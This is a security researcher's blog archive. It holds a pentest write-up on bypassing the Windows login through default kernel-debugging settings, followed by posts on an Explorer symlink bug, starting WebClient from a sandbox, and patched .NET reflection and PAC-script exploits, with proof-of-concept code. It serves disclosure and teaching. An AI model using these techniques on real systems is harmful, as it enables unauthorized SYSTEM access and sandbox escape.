Sunday, 12 March 2017

Getting Code Execution on Windows by Abusing Default Kernel Debugging Setting

TL;DR; This blog post comes from an on-site pentest I did a long time ago. While waiting for some other testing to complete the customer was interested to see if I could get code execution on one of their Windows workstations (the reasons for this request are unimportant). Needless to say I had physical access to the workstation so it should be pretty simple thing to achieve. The solution I came up with abused the default Windows Kernel Debugging settings to get arbitrary code execution without needing to permanently modify the system configuration or open the case.

The advantage of this technique is it requires a minimum amount of kit which you could bring with you on a job, just in case. However it does require that the target has an enabled COM1 serial port which isn't necessarily guaranteed, and the machine cannot be using TPM enforced Bitlocker or similar.

And before anyone complains I'm fully aware that physical access typically means that you've already won, this is why I'm not claiming this is some sort of world ending vulnerability against Windows machines. It's not, but it's a common default configuration which administrators probably don't know to change. It also looks pretty awesome if the stars line up, let's face it, from a customer's perspective it makes you look like some bad-ass hacker. Bonus points for using the command line CDB instead of WinDBG ;-)

And just in case you misunderstand me:

THIS IS NOT A VULNERABILITY!!!!

With that said, let's look at it in more detail.

The Scenario

You find yourself in a room filled with Windows workstations (hopefully legally) and you're tasked with getting code execution on one of them. Your immediate thoughts to achieve this might be one or more of the following:

  • Change boot settings to boot off a CD/USB device and modify HDD
  • Crack open the case, pull the HDD, modify contents and put it back in.
  • Abuse Firewire DMA access to read/write memory.
  • Abuse the network connection coming out the back of the machine, either to try and PXE boot or MitM network/domain traffic on the machine.
Looking at the workstation though booting up you notice that the boot order is configured to boot off the HDD first but a BIOS password prevents you circumventing it (assuming no bug in the BIOS). The case actually has a physical lock on it, probably not something you couldn't pick or crowbar but the customer probably wouldn't be amused if I left the workstation in bits. And finally the workstation didn't have Firewire or any external PCI bus to speak of to perform DMA attacks. I didn't test the network connection, but it might not be easy to PXE boot or MitM'ing the traffic might encounter IPSec.

What these workstations did have though was a classic 9 pin serial port. This got me thinking, I knew that by default Windows configured kernel debugging on COM1, however kernel debugging isn't enabled. Was there a way of enabling kernel debugging on a system without having administrator login rights? Turns out that yes there is, so lets see how you could exploit this scenario.

Coming Prepared


Before you can exploit this feature you'll need a few things to hand:
  • A serial port on your test machine (this is pretty obvious of course). A USB to Serial is sufficient with the right drivers
  • A local installation of Windows. This is more for simplicity, perhaps there's tools to do Windows Kernel Debugging available these days for Linux/macOS which support everything you need but I doubt it.
  • Assuming you're using Windows an installation of Debugging Tools for Windows, specifically WinDBG.
  • A Null Modem cable, you'll need this to connect your test machine's serial port to the workstation serial port.
Now on your test machine ensure everything is installed and setup WinDBG to use your local COM port for kernel debugging. Using kernel debugging just requires you to open WinDBG then from the menu select File -> Kernel Debug or press CTRL + K. You should see a dialog which looks like the following:



Fill in the Port field to match the COM port your USB to Serial adapter was assigned. You shouldn't need to change the Baud Rate as the Windows default is for 115200. You can verify this on another system using an administrator command prompt and running the command bcdedit /dbgsettings. 



You could also do this via the following command line if you're so inclined: windbg -k com:port=COMX,baud=115200

Enabling Kernel Debugging on Windows 7

Enabling kernel debugging on Windows 7 is really easy (this should also work on Vista, but really who uses that anymore?). Reboot the workstation and after the BIOS POST screen has completed mash (the official technical term) the F8 key. If successful you'll be greeted with the following screen:


Scroll down with the cursor keys, select Debugging Mode and hit Enter. Windows should start to boot. Hopefully if you look at WinDBG you should now see the boot information being displayed (full disclosure, I'm doing this using a VM ;-)).



If this doesn't happen it's possible that the COM port's disabled, the kernel debugging configuration has changed or you've got a terrible USB to Serial adapter.

Enabling Kernel Debugging on Windows 8-10

So moving on to more modern versions of Windows, you can try the F8 trick again, but don't be shocked when it does NOTHING. This was an intentional change Microsoft has made to boot process since Windows 8. With the prevalence of SSDs and various changes to Windows' boot process there's no longer enough time (in their opinion) for mashing the F8 key. Instead, while the option to enable kernel debugging is still present you need to configure it through the fancy UEFI alike menus. 

This presents us with a problem. We're assuming we don't have access to the BIOS (through say a password) so it would seem we couldn't access the UEFI configuration options and the main way you can configure this is going through the Settings App (at least on Windows 10) and choose to restart into Advanced Startup mode or you can pass the /r /o options to shutdown in the command prompt.


None of these options are going to help us. Fortunately there's a "documented' alternative way, if you hold the Shift key when selecting Restart from the start menu it will also reboot into the advanced startup options mode. This doesn't immediately sound like it's going to help you any more than the other options if you've got to login, fortunately on the login screen there's an option to reboot the workstation, and it just so happens that the Shift trick also works here. So go to the power options (on the lower right corner of the login screen on Windows 10), hold left Shift and click Restart. If successful you'll be greeted with the following screen.


 Click the highlighted "Troubleshoot" and you'll get to a new screen.


From here select "Advanced options", going to the *sigh* next screen:


At this screen you'll want to click "Startup Settings" which will bring you the following screen. You might be inclined to think you could click "Command Prompt" to get a system command prompt but that's going to require a password for a local administrator user anyway, which if you've got already you don't need to do this. Also I'm not saying there's no tricks you can't play with recovery mode etc, I'm showing you this just for giggles  :-)


After hitting "Restart" the workstation will reboot and you should be presented with the following:


Finally, you can hit F1 to enable kernel debugging. Phew... bring back F8. If all went according to plan you should see the boot messages again.


Getting Code Execution

You've now got a kernel debugger attached to the machine, the final step is to bypass the login screen. One common trick when using Firewire DMA attacks is to search for a particular pattern in memory which corresponds to LSASS's password check and kill it. Now any login password will work, this is fine but not very sneaky (for example you'd end up with event log entries showing the login). Plus you'd need to know an appropriate user account, it's possible the local Administrator account has been renamed.

Instead we'll do a more targeted attack which is possible because we've got the kernel's view of the system available, not a physical memory view. We'll abuse the fact that the login screen has a button for launching Accessibility tools, this will execute a new process on the login desktop as SYSTEM. We can hijack this process creation to spawn a command prompt and do whatever we like.



First things first we'll want to configure symbols for the machine we're trying to attack. Without symbols we can't enumerate the necessary kernel structures to find the bits of the system to attack. The simplest way to ensure symbols are configured correctly is to type the commands, !symfix+ then !reload into the debugger command window. Now to test issue the command !process 0 0 winlogon.exe which will find the process which is responsible for displaying the login window. If successful it should look something like the following:



The highlighted value is the kernel address of the EPROCESS structure. Copy that value value now to get an "Interactive" debugging session for that process using the command .process /i EPROCESS. Type g, then Enter (or hit F5) and you should see the following:



Now with this interactive session we can enumerate the user modules and load their symbols. Run the command !reload -user to do that. Then we can set a breakpoint on CreateProcessInternalW, which is what will be run whenever a new process is about to be created. Where this function is depends on the Windows version, on Windows 7 it's in the kernel32 DLL, on Windows 8+ it's in kernelbase DLL. So set the breakpoint using bp MODULE!CreateProcessInternalW replacing MODULE with the name appropriate for your system.

With the breakpoint set, click the Ease of Access button on the login screen and hopefully the breakpoint should hit. Now just to be sure issue the commands r and k to dump the current registers and show a back trace. It should look something like the following:


We can see in the stack trace that we've got calls to things like WlAccessibilityStartShortcutTool which seem to be related to accessibility. Now CreateProcessInternalW takes many parameters, but the only one we're really interested in is the third parameter, which is a pointer a NUL terminated command line string. We can modify this string to instead refer to the command prompt and we should get out desired code execution. First just to be sure we'll dump the string using the dU command, for x64 pass dU r8 (as the third parameter is stored in the r8 register), for x86 issue dU poi(@esp+c) (on 32 bit all parameters are passed on the stack). Hopefully you'll see the following:


So WinLogon is trying to create an instance of utilman.exe, that's good. Now this string must be writable (there's a dumb behaviour of CreateProcess that if it's not you'll get a crash) so we can just overwrite it. Issue the command ezu r8 "cmd" or ezu poi(@esp+c) "cmd" depending on your bitness and then type g and enter to continue. Bathe in your awesomeness.


Downsides

So there are a number of downsides to this technique:
  • The workstation MUST have a serial port on it, which isn't a given at least these days, and it must be configured as COM1
  • The workstation must be rebooted, this means that you can't get access to any logged on user credentials or things left in memory. Another issue with this is if the workstation has a boot password you might not be able to reboot it anyway.
  • The configuration of the kernel debugging must be the default.
  • In the prescence of TPM enforced Bitlocker you shouldn't be able to change the debugger configuration without also invalidating the boot measurement meaning Bitlocker won't unlock the drive.
Still in the end the setup costs are so low, it wouldn't take much to carry a USB to Serial adapter and a Null Modem cable in your travel bag if you're going on site somewhere. 

Mitigations

It's all very well and good that you can do this, but is there anyway to prevent it? Well of course as many will point out if you've already got physical access it's Game Over Man (R.I.P. Bill) but there are some configuration changes you can make to remove this attack vector:

  • Change the default debugging settings to Local kernel debugging. This is a mode which means only a local debugger running as administrator can debug the kernel (and debugging must also be on). You can change it at an administrator command prompt with the command bcdedit /dbgsettings LOCAL. You could almost certainly automate this across your estate with a login script or GPO option.
  • Don't buy Workstations with serial ports. Sounds dumb, and you probably have little choice but don't get things on your purchased devices which serve no useful purpose. Presumably some vendors still provide a configuration option for this.
  • If you do have serial ports disable them in the BIOS or, if you can't disable them outright change the default I/O port from 0x3F8. Legacy COM ports are not plug and play, Windows will use an explicit I/O port to talk to COM1, if your COM port isn't configured as COM1 Windows can't use it. This is also important if you've installed aftermarket COM port cards, while they tend not to be configured as COM1 they _could_ be.
  • Finally use Bitlocker with a TPM, this is a good idea regardless as it would also block someone being able to pull the HDD out and modify it offline (or just up and stealing the thing for the information on the disk). Bitlocker + TPM would prevent someone enabling debugging on a system without knowing the Bitlocker recovery key. At least on Windows 8+ entering the System Settings option requires changing the boot configuration temporarily, which will cause the TPM boot measurement to fail. I've not tested this on Windows 7 though, hitting F8 might not change the boot measurement as I believe that menu is in the winload.exe boot process, at that point Bitlocker's key has already been unsealed. If anyone has a Windows 7 machine with Bitlocker and TPM let me know the result of testing that :-)
Another interesting thing is the latest version of Windows 10 available when I'm writing this (1607, Anniversary Edition) now configures kernel debugging to Local only by default. However it's possible this isn't changed during upgrades so you'd still want to take a look.

Conclusions

So this is a fun, but not particularly serious issue if someone's got physical access to your machine and you've covered a number of the common attack vectors (like HDD access, BIOS, Firewire). Good advice is physical access a potential attack vector for external but also internal threats and it pays to do everything you can to lock your estate down. You should also consider deploying Bitlocker even if they device isn't portable, it makes it more difficult to compromise a workstation through logical attacks on the boot process and also makes it harder to someone to extract sensitive data from a stolen machine.

Saturday, 20 February 2016

Tracking Down the Root Cause of a Windows File Handling Bug

This blog post is about a bug in the Windows Explorer shell (useless from a security perspective I believe) that I thought I'd document. I'll explain the bug then go through how I tracked down the code responsible for the bug. Hopefully it serves as a brief tutorial on how you'd go about doing the same thing for other issues.

The Bug

The Windows Explorer shell has supported the concept of Shortcut files for as long as it's been around. These are your traditional LNK files. The underlying Windows operating system has no concept of these as being shortcuts to other files, it's all treated specially by Explorer. 

Since Vista the shell has supported another link format, NTFS symbolic links. You might think I'm slightly crazy at this point, surely symbolic links are just treated as an other file which would just happen to point to another file? While that would make more sense it seems that the developers in Explorer really did implement special support, and no only that they got it wrong as we'll see with this bug.

NTFS Symbolic Links use the Reparse Point feature of NTFS to change a file or directory into a symbolic link which the kernel will follow when opening the file. Under the hood the data structure set in the Reparse Point looks like the following:

typedef struct _REPARSE_DATA_BUFFER { ULONG ReparseTag; USHORT ReparseDataLength; USHORT Reserved; USHORT SubstituteNameOffset; USHORT SubstituteNameLength; USHORT PrintNameOffset; USHORT PrintNameLength; ULONG Flags; WCHAR PathBuffer[1]; } REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;


This is a variable length structure and contains two strings, the Substitute Name and the Print Name. Why two names? Well the first the native NT path which represents the target of the symbolic link, this will be something like \??\C:\TargetFile. While the Print Name is normally set to what the user "thinks" the path is, so in this case C:\TargetFile. The rationale behind this is the NT name is ugly and somewhat unexpected for a user so if a program has to show the target the Print Name shows what the user might expect. However there's no requirement for these two to match in anyway. We can test this out using my Symbolic Link Testing Tools (available on Github here). The CreateNtfsSymbolicLink tool allows you to specify an arbitrary Print Name value (which the built-in MKLINK tool does not). Let's try it out (note you need to be an administrator):


Nothing too surprising, both links point to cmd.exe, but for the second one I've changed the Print Name to point to calc.exe instead. You can see the Print Names by just doing a directory listing. If you execute these files from the shell you'll find they both run cmd.exe as shown in the screenshot.

Now let's look at these files in the Explorer shell:

Hopefully you can immediately see the problem? And it's not just the icons, if you double click in Explorer link1.exe you get cmd.exe, link2.exe instead runs calc.exe. Whoops. It's pretty clear that the shell must be explicitly handling NTFS Symbolic Links as if they are Shortcut files and then picking the Print Name over the actual target file in the link. 

This feature does have some nice properties, for example the symbolic link can have any extension you like, so your link can have a .pdf extension but double clicking it will run cmd.exe (regardless of the extension you use). But then you could do that anyway with a LNK file as Explorer removes the .lnk extension. It might have been useful to attack a sandbox which calls ShellExecute on a file, but first checks the file name extension for allowed files. However as you need Administrator privileges to use this it's not especially useful in practice.

Tracking Down the Root Cause

Okay so we can guess what it's doing, at least let's track down the buggy code just to confirm it. We'd probably want to do this if we were sending an actual bug report to Microsoft (which I'm not of course, but they're more than welcome to fix a 9 year old bug if they like). Whenever I encounter a file based issue my go to is Process Monitor to find out the code responsible for handling the file contents.

To aid in this we need to configure Process Monitor to support symbol loading which you can do through the menu Options > Configure Symbols. If you go there you'll see the following dialog:

You'd assume that everything is already set-up for you, but if you try and get a stack trace from a monitored event you'll be disappointed. The version of the dbghelp library which ships with Windows (even Windows 10) doesn't support pulling symbols from a remote symbol server, so it's only useful for applications you've compiled yourself. We can remedy that though by installing WinDBG from the SDK or WDK and using it's copy of dbghelp.dll. If you've installed the Windows 10 SDK then you'll find it under %PROGRAMFILES(x86)%\Windows Kits\10\Debuggers\x64 for 64 bit platforms. Select the DLL and you should be good to go.

So we can set a filter on link2.exe and see what's processing it, we're primarily looking for an event doing a FileSystemControl operation to read the Reparse Point data with FSCTL_GET_REPARSE_POINT. 


Okay good the expected event is there, now if we open that event we can look at the stack tab see the culprit.


Well CShellLink::_LoadFromSymLink sounds very much like the culprit we're looking for, it's the last call before going into DeviceIoControl which ends up reading the Reparse Point information. Let's finally confirm by disassembling windows.storage.dll it in your application of choice. If you use IDA Pro it should try and load the public symbol file using the DIA library. We end up with something which looks like:

HRESULT CShellLink::_LoadFromSymLink(LPCWSTR pszInputPath) { PREPARSE_DATA_BUFFER ReparseBuffer = // Allocate reparse buffer HANDLE hFile = CreateFileW(pszInputPath, FILE_READ_EA, ..., FILE_FLAG_OPEN_REPARSE_POINT); size_t PathLength = 0; offset_t PathOffset = NULL; WCHAR pszPath[MAX_PATH]; if (hFile != INVALID_HANDLE_VALUE) { DeviceIoControl(hFile, FSCTL_GET_REPARSE_POINT, 0, 0, ReparseBuffer, ...); if (ReparseBuffer->ReparseTag == IO_REPARSE_TAG_SYMLINK) { PathLength = ReparseBuffer->PrintNameLength >> 1; PathOffset = (ReparseBuffer->PrintNameOffset >> 1) + 10; } else if (ReparseBuffer->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) { PathLength = ReparseBuffer->PrintNameLength >> 1; PathOffset = (ReparseBuffer->PrintNameOffset >> 1) + 8; } else { return E_FAIL; } StringCchCopyN(pszPath, MAX_PATH, (WCHAR*)ReparseBuffer + PathOffset, PathLength); _SetSimplePIDL(&pszPath); _ResetDirty(); } return S_OK; }

We can see the bug here pretty clearly, it's using the PrintName value. I guess it might be intentional as you can see this code also supports normal mount points and has the same issue. Fortunately for mount points there seems to be no way of directly tricking Explorer to parse the directory as anything else, but this might only trick another application which uses the ShellLink CoClass directly.

Anyway I hope this is useful as a very brief tutorial on how to find where vulnerable code lies in Windows, at least when dealing with files. It's a shame that this bug wasn't more serious, but fortunately the fact that Symbolic Links need administrator permissions might have worked in Microsoft's favour. 

Thursday, 26 March 2015

Starting WebClient Service Programmatically

I've been asked how you can start the WebClient service on Windows 7+ programmatically, specifically in relation to this issue. If you try and start it manually (say using the sc tool) as a normal user you'll find you get access denied. However the service is actually registered with a service trigger, so it'll be started automatically in response to a specific system event.

We can dump the trigger information for the service using the command sc qtriggerinfo WebClient which gives us:
START SERVICE
   CUSTOM       : 22b6d684-fa63-4578-87c9-effcbe6643c7 [ETW PROVIDER UUID]
This indicates that the service trigger is a custom ETW event trigger with the specified provider UUID. So all we need to do is write an event using that trigger as a normal user and we'll get the WebClient service to start. So something like:
bool StartWebClientService()
{
    const GUID _MS_Windows_WebClntLookupServiceTrigger_Provider =
        { 0x22B6D684, 0xFA63, 0x4578, 
        { 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7 } };
    REGHANDLE Handle;
    bool success = false;

    if (EventRegister(&_MS_Windows_WebClntLookupServiceTrigger_Provider,
        nullptr, nullptr, &Handle) == ERROR_SUCCESS)
    {
        EVENT_DESCRIPTOR desc;

        EventDescCreate(&desc, 1, 0, 0, 4, 0, 0, 0);

        success = EventWrite(Handle, &desc, 0, nullptr) == ERROR_SUCCESS;

        EventUnregister(Handle);
    }

    return success;
}
I haven't tested this from all locations but you can almost certainly cause this trigger to run even from a heavily restrictive sandbox such as Chrome or EPM.

Monday, 15 December 2014

Old .NET Vulnerability #2+3: Reflection Delegate Binding Bypass (CVE-2012-1895 and CVE-2013-3132)

Reflection is a very useful feature of frameworks such as .NET and Java, but it has interesting security issues when you're trying to sandbox code. One which is well known is how much the framework will try to emulate the normal caller visibility scoping for reflection APIs which would exist if the code was compiled. Perhaps that needs a bit of explanation, imagine you have a C# class which looks something like the following:
public class UnsafeMemory {
   IntPtr _ptr;
   ushort _size;

   public UnsafeMemory(ushort size) {
       _ptr = Marshal.AllocCoTaskMem(size);
       _size = size;
   }

   public byte ReadByte(ushort ofs) {
       if (ofs < _size) {
             return Marshal.ReadByte(_ptr, ofs);
       }

       return 0;
   }
}

This has a sensitive field, a pointer to a locally allocated memory structure which we don't want people to change. The built-in accessors don't allow you to specify anything other than size (which is also sensitive, but slightly less so). Still reflection allows us to change this from a fully trusted application easily enough:
UnsafeMemory mem = new UnsafeMemory(1000);
FieldInfo fi = typeof(UnsafeMemory).GetField("_ptr", 
                  BindingFlags.NonPublic | BindingFlags.Instance);

fi.SetValue(mem, new IntPtr(0x12345678));

As we've set the pointer, we can now read and write to arbitrary memory addresses. Flushed with success we try this in our partially trusted application and we get:
System.FieldAccessException: Attempt by method 
             ReflectionTests.Program.Main()' to 
             access field 'ReflectionTests.UnsafeMemory._ptr' failed.
   at System.Reflection.RtFieldInfo.PerformVisibilityCheckOnField()
   at System.Reflection.RtFieldInfo.InternalSetValue()
   at System.Reflection.RtFieldInfo.SetValue()
   at System.Reflection.FieldInfo.SetValue()
   at ReflectionTests.Program.Main()

Well that sucks! PerformVisibilityCheckOnField is implemented by the CLR so we can't easily look at it's implementation (although it's in the SSCLI). But I think we can guess what the method is doing. The CLR is checking who's calling the SetValue method and verifying the visibility rules for the field. As the field is private only the declaring class should be able to set it via reflection, we can verify that easily enough. Let's modify the class slightly to add a new method:
public static void TestReflection(FieldInfo fi, object @this, object value) {
    fi.SetValue(@this, value);
}

If we call that method from our partial trust code it succeeds, thus confirming our assumptions about the visibility check. This can be extended to any reflection artefact, properties, methods, constructors, events etc. Still the example method is hardly going to be a very common coding pattern, so instead let's think more generally about visibility in the .NET framework to see if we can find a case where we can easily bypass the visibility.  There are actually many different visibility levels in the CLR which can be summarised as:
Name in CLR Name in C# Visibility
Public public Anybody
Family protected Current class and derived classes
FamilyAndAssembly No Equivalent Current class or derived classes in same assembly
FamilyOrAssembly protected internal Current class and derived classes or assembly
Assembly internal Current assembly
Private private Current class

Of most interest is Assembly (or internal in C#) as you only have to take a quick peek at something like mscorlib to see that this visibility is used a lot to protect sensitive classes and methods by localizing them to the current assembly. The Assembly visibility rule means that any class in the same assembly can access the field or method. When dealing with something like mscorlib, which has at least 900 public classes you can imagine that would give you something you could exploit. Turns out a good one to look at is the handling of delegates, if only for one reason, you can get them to call a method with the caller set to a something in mscorlib, by using asynchronous dispatch.

For example if we run the following code we can get the calling method from the delegate, this correctly removes methods which the CLR considers to be part of the delegate dispatch.
Func<MethodBase> f = new Func<MethodBase>(() => 
              new StackTrace().GetFrame(1).GetMethod());
MethodBase method = f();

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: ReflectionTests.Program::Main

Not really surprising, the caller was our Main method. Okay now what if we change that to using asynchronous dispatch, using BeginInvoke and EndInvoke?
Func<MethodBase> f = new Func<MethodBase>(() => 
      new StackTrace().GetFrame(1).GetMethod());

IAsyncResult ar = f.BeginInvoke(null, null);
MethodBase method = f.EndInvoke(ar);

Console.WriteLine("{0}::{1}", method.DeclaringType.FullName, method.Name);

OUTPUT: System.Runtime.Remoting.Messaging.StackBuilderSink::_PrivateProcessMessage

How interesting, the code thinks the caller's an internal method to mscorlib, hopefully you can see where I'm going with this? Okay let's put it all together, lets create a delegate pointing to FieldInfo.SetValue, call it via asynchronous dispatch and it's time to party.
Action<object, object> set_info = new Action<object,object>(fi.SetValue);

IAsyncResult ar = set_info.BeginInvoke(mem, new IntPtr(0x12345678), null, null);
set_info.EndInvoke(ar);

This works as expected with full trust but running it under partial trust we get the dreaded SecurityException
System.Security.SecurityException: Request for the permission 
       of type 'System.Security.Permissions.ReflectionPermission' failed.
   at System.Delegate.DelegateConstruct()
   at ReflectionTests.Program.Main()

So why is this the case. Well the developers of .NET weren't stupid, they realised being able to call a reflection API using another reflection API (which delegates effectively are) is a security hole waiting to happen. So if you try and bind a delegate to certain set of methods it will demand ReflectionPermission first to check if you're allowed to do it. Still while I said they weren't stupid, I didn't mean they don't mistakes as this is the crux of the two vulnerabilities I started writing this blog post about :-)

The problem comes down to this, what methods you can or cannot bind to are just a black-list. Each method is allocated a set of invocation flags represented by the System.Reflection.INVOCATION_FLAGS enumeration. Perhaps the most important one from our perspective is the INVOCATION_FLAGS_FIELD_SPECIAL_CAST flag. This is a bit strangely named, but what this indicates is the method should be double checked if it's ever invoked through a reflection API. If we look at FieldInfo.SetValue we'll find it has the flag set.

Okay so the challenge is simple, just find a method which is equivalent to SetValue but isn't FieldInfo.SetValue. It turns out that FieldInfo implements the interface System.Runtime.InteropServices._FieldInfo which is a COM interface for accessing the FieldInfo object. It just so happened that someone forgot to add this interface's methods to the blacklist. So let's see a real PoC by abusing the WeakReference class and its internal m_handle field:
// Create a weak reference to 'tweak'
string s = "tweakme";
WeakReference weakRef = new WeakReference(s);

// Get field info for GC handle
FieldInfo f = typeof(WeakReference).GetField("m_handle", 
                BindingFlags.NonPublic | BindingFlags.Instance);

MethodInfo miSetValue = typeof(_FieldInfo).GetMethod("SetValue", 
        BindingFlags.Public | BindingFlags.Instance, null, 
 new Type[2] { typeof(object), typeof(object) }, null);

Action<object, object> setValue = (Action<object, object>)
        Delegate.CreateDelegate(typeof(Action<object, object>),
 f, miSetValue);

// Set garbage value in handle
setValue.EndInvoke(setValue.BeginInvoke(weakRef, 
         new IntPtr(0x0c0c0c0c), null, null));

// Crash here read AV on 0x0c0c0c0c
Console.WriteLine(weakRef.Target.ToString());

CVE-2014-1895 described the issue with all similar COM interfaces, such as _MethodInfo, _Assembly, _AppDomain. So I sent it over to MS and it was fixed. But of course even though you point out a security weakness in one part of the code it doesn't necessarily follow that they'll fix it everywhere. So a few months later I found that the IReflect interface has an InvokeMember method which was similarly vulnerable. This ended up as CVE-2013-3132, by that point I gave up looking :-)

As a final note there was a similar issue which never got a CVE, although it was fixed. You could exploit it using something like the following:
MethodInfo mi = typeof(Delegate).GetMethod("CreateDelegate", 
    BindingFlags.Public | BindingFlags.Static, 
    null, new Type[] { typeof(Type), typeof(MethodInfo) }, null);

Func<Type, MethodInfo, Delegate> func = (Func<Type, MethodInfo, Delegate>)
           Delegate.CreateDelegate(typeof(Func<Type, MethodInfo, Delegate>), mi);
                
Type marshalType = Type.GetType("System.Runtime.InteropServices.Marshal");
MethodInfo readByte = marshalType.GetMethod("ReadByte", 
    BindingFlags.Public | BindingFlags.Static,
    null, new Type[] { typeof(IntPtr) }, null);

IAsyncResult ar = func.BeginInvoke(typeof(Func<IntPtr, byte>), readByte, null, null);
Func<IntPtr, byte> r = (Func<IntPtr, byte>)func.EndInvoke(ar);

r(new IntPtr(0x12345678)); 

It's left as an exercise for the reader to understand why that works (hint: it isn't a scope issue as Marshal.ReadByte is public). I'll describe it in more detail next time.

Sunday, 30 November 2014

Old .NET Vulnerability #1: PAC Script RCE (CVE-2012-4776)

This is the start of a very short series on some of my old .NET vulnerabilities which have been patched. Most of these issues have never been publicly documented, or at least there have been no PoCs made available. Hopefully it's interesting to some people.

The first vulnerability I'm going to talk about is CVE-2012-4776 which was fixed in MS12-074. It was an issue in the handling of Web Proxy Auto-Configuration scripts (PAC). It was one of the only times that MS has ever credited me with a RCE in .NET since they made it harder to execute .NET code from IE. Though to be fair making it harder might be partially my fault.

The purpose of a PAC script, if you've never encountered one before, is to allow a web client to run some proxy decision logic before it connects to a web server. An administrator can configure the script to make complex decisions on how outbound connections are made, for example forcing all external web sites through a gateway proxy but all Intranet connections go direct to the server. You can read all about it on Wikipedia and many other sites as well but the crucial thing to bear in mind is the PAC script is written in Javascript. The most basic PAC script you can create is as follows:
function FindProxyForURL(url, host) {
 // Always return no proxy setting
 return "DIRECT";
}
On Windows if you use the built-in HTTP libraries such as WinINET and WinHTTP you don't need to worry about these files yourself, but if you roll your own HTTP stack, like .NET does, you'd be on your own to reimplement this functionality. So when faced with this problem what to do? If you answered, "let's use a .NET implementation of Javascript" you'd be correct. Some people don't realise that .NET comes with its own implementation of Javascript (JScript for licensing reasons). It even comes with a compiler, jsc.exe, installed by default.

While I was having a look at .NET, evaluating anything interesting which asserts full trust permissions I came across the .NET PAC implementation. The following method is from the System.Net.VsaWebProxyScript class in the Microsoft.JScript assembly (some code removed for brevity):
[PermissionSet(SecurityAction.Assert, Name="FullTrust")]
public bool Load(Uri engineScriptLocation, string scriptBody, Type helperType)
{
    try
    {
        engine = new VsaEngine();
        engine.RootMoniker = "pac-" + engineScriptLocation.ToString();
        engine.Site = new VsaEngineSite(helperType);
        engine.InitNew();
        engine.RootNamespace = "__WebProxyScript";

        StringBuilder sb = new StringBuilder();
        sb.Append("[assembly:System.Security.SecurityTransparent()] ...");
        sb.Append("class __WebProxyScript { ... }\r\n");
        sb.Append(scriptBody);
        IVsaCodeItem item2 = engine.Items.CreateItem("SourceText", 
                   VsaItemType.Code, VsaItemFlag.None) as IVsaCodeItem;
        item2.SourceText = sb.ToString();

        if (engine.Compile())
        {
            engine.Run();
            scriptInstance = Activator.CreateInstance(
                 engine.Assembly.GetType("__WebProxyScript.__WebProxyScript"));
            CallMethod(scriptInstance, "SetEngine", new object[] { engine });
            return true;
        }
    }
    catch
    {
    }
    return false;
}
The code is taking the PAC script from the remote location as a string, putting it together with some boiler plate code to implement the standard PAC functions and compiling it to an assembly. This seems too good to be true from an exploit perspective. It was time to give it a try so I configured a simple .NET application with a PAC script by adding the following configuration to the application:
<configuration>
  <system.net>
    <defaultProxy>
   <proxy
  autoDetect="true"
  scriptLocation="http://127.0.0.1/test.js"
   />
    </defaultProxy>
  </system.net>
</configuration
Of course in a real-world scenario the application probably isn't going to be configured like this. Instead the proxy settings might be configured through WPAD, which is known to be spoofable or the system settings. When the application makes a connection using the System.Net.WebClient class it will load the PAC file from the scriptLocation and execute it. With a test harness ready let's try a few things:
import System;

function FindProxyForURL(url, host) {
 Console.WriteLine("Hello World!");
 return "DIRECT";
}
This printed out "Hello World!" as you'd expect, so we can compile and executing JScript.NET code. Awesome. So let's go for the win!
import System.IO;

function FindProxyForURL(url, host) {
 File.WriteAllText("test.txt", "Hello World!");
 return "DIRECT";
}
And... it fails, silently I might add :-( I guess we need to get to the bottom of this. When dealing with the internals of the framework I usually find it easiest to get WinDBG involved. All .NET frameworks come with a handy debugger extension, SOS, which we can use to do low-level debugging of .NET code. A quick tutorial, open the .NET executable in WinDBG and run the following two lines at the console.
sxe clr
sxe -c ".loadby sos mscorwks; gh" ld:mscorwks
What these lines do is set WinDBG to stop on a CLR exception (.NET uses Windows SEH under the hood to pass on exceptions) and adds a handler to load the SOS library when the DLL mscorwks gets loaded. This DLL is the main part of the CLR, we can't actually do any .NET debugging until the CLR is started. As a side note, if this was .NET 4 and above replace mscorwks with clr as that framework uses clr.dll as its main implementation.

Restarting the execution of the application we wait for the debugger to break on the CLR exception. Once we've broken into the debugger you can use the SOS command !pe to dump the current exception:


Well no surprises, we got a SecurityException trying to open the file we specified. Now at this point it's clear that the PAC script must be running in Partial Trust (PT). This isn't necessarily an issue as I still had a few PT escapes to hand, but would be nice not to need one. By dumping the call stack using the !clrstack command we can see that the original caller was System.Net.AutoWebProxyScriptWrapper. 

Looking at the class it confirms our suspicions of being run in PT. In the class' CreateAppDomain method it creates an Internet security AppDomain which is going to be pretty limited in permissions then initializes the System.Net.VsaWebProxyScript object inside it. As that class derives from MarshalByRefObject it doesn't leave the restricted AppDomain. Still in situations like this you shouldn't be disheartened, let's go back and look at how the assembly was being loaded into memory. We find it's being loaded from a byte array (maybe bad) but passing a null for the evidence parameter (awesome). As we can see in the remarks from Assembly.Load this is a problem:
When you use a Load method overload with a Byte[] parameter to load a COFF image, 
evidence is inherited from the calling assembly. This applies to the .NET Framework 
version 1.1 Service Pack 1 (SP1) and subsequent releases.
So what we end up with is an assembly which inherits its permissions from the calling assembly. The calling assembly is trusted framework code, which means our compiled PAC code is also trusted code. So why doesn't the file function work? Well you have to remember how security in AppDomains interact with the security stack walk when a demand for a permission is requested.

The transition between the trusted and the untrusted AppDomains acts as a PermitOnly security boundary. What this means is that even if every caller on the current stack is trusted, if no-one asserts higher permissions than the AppDomain's current set then a demand would fail as shown in the below diagram:



There are plenty of ways around this situation, in fact we'll see a few in my next post on this topic. But for now there's an easy way past this issue, all we need is something to assert suitable permissions for us while we run our code. Turns out it was there all along, the original Load method uses the attribute form of permission assertion to assert full trust.
[PermissionSet(SecurityAction.Assert, Name="FullTrust")]
We can get code to run in that method because the loading of the assembly will execute any global JScript code automatically, so a quick modification and we get privileged execution:
import System.IO;

File.WriteAllText("test.txt", "Hello World!");

function FindProxyForURL(url, host) { 
 return "DIRECT";
}
Why couldn't we have just done a new PermissionSet(PermissionState.Unrestricted).Assert() here? Well if you look at the code being generated for compilation it sets the SecurityTransparent assembly attribute. This tells the CLR that this code isn't allowed to elevate its permissions, but it's transparent to security decisions. If you have a trusted assembly which is transparent it doesn't effect the stack walk at all, but it also cannot assert higher permissions. This is why the assertion in the Load method was so important. Of course this assertion was what originally led me to finding the code in the first place.

